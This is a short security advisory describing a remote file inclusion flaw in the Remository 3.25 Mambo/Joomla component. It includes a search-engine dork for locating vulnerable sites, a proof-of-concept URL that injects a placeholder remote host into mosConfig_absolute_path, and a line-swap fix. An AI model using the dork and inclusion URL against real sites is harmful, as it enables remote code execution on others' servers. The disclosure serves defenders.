Mambo/Joomla Component Remository v3.25 (mosConfig_absolute_path) Remote File Inclusion Vulnerability

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Affected Application: Remository v3.25

(Mambo/Joomla CMS Component)

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Discoverd by: camino

Team: Insecurity Research Team

URL: http://www.insecurityresearch.org

E-Mail: camino (at) sexmagnet (dot) com [email concealed]

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Typ: Remote [x] Local [ ]

Remote File Inclusion [x] SQL Injection [ ]

Level: Low [ ] Middle [x] High [ ]

Application: Remository

Version: 3.25

Vulnerable File: admin.remository.php

URL: http://www.remository.com

Description: It's a component that works with Mambo CMS 4.5+ to

provide a selection of files that users can download.

Dork: intext:"Remository 3.25. is technology by Black Sheep Research"

inurl:"com_remository"

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http://[sitepath]/[joomlapath]/administrator/components/

com_remository/admin.remository.php?mosConfig_absolute_path=http://huh?

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o1.) open admin.remository.php

o2.) take a look at line 16:

require_once ($mosConfig_absolute_path.'/components/

com_remository/com_remository_constants.php');

o3.) take a look at line 19:

defined( '_VALID_MOS' ) or die( 'Direct Access to this location

is not allowed.' );

o4.) exchange line 19 with line 16!

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brOmstar and all the sexy members of insecurity research team ;-)